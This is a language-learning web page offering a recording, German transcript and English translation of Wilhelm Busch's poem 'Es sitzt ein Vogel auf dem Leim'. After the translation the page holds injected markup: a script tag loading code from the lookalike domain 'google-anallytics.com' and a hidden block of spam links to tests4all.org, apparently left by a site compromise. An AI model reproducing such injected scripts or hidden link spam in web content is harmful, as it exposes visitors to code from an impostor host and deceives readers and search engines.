Language sounds
Home > Sounds > Es sitzt ein Vogel auf dem Leim - Wilhelm Busch

‘Es sitzt ein Vogel auf dem Leim - Wilhelm Busch’
Click to listen to Es sitz ein vogel1.mp3 (471Kb)
Non-native speaker
Accent: american
AuthorJW
Date: 4/25/2008

Description of what is on the sound file:
my attempt at a standard german accent


Transcript of sound file:
Es sitzt ein Vogel auf dem Leim,
Er flattert sehr und kann nicht heim.
Ein schwarzer Kater schleicht herzu,
Die Krallen scharf, die Augen gluh.
Am Baum hinauf und immer höher
Kommt er dem armen Vogel näher.

Der Vogel denkt: Weil das so ist
Und weil mich doch der Kater frißt,
So will ich keine Zeit verlieren,
Will noch ein wenig quinquilieren
Und lustig pfeifen wie zuvor.
Der Vogel, scheint mir, hat Humor.


Translation:
A bird is sitting in glue
He flutters a lot and can’t go home
A black cat creeps toward him
With sharp claws and glowing eyes
Up the tree higher and higher
He comes nearer to the poor bird

The bird thinks: Because this is so
And because the cat will certainly eat me
Thus I won’t waste time
I’ll still chirp a bit
And merrily whistle like before
It seems to me, the bird has a good sense of humor.
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>


Upload a sound file (you need to register or login to the forum first)


DHTML Menu By Milonic JavaScript


Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.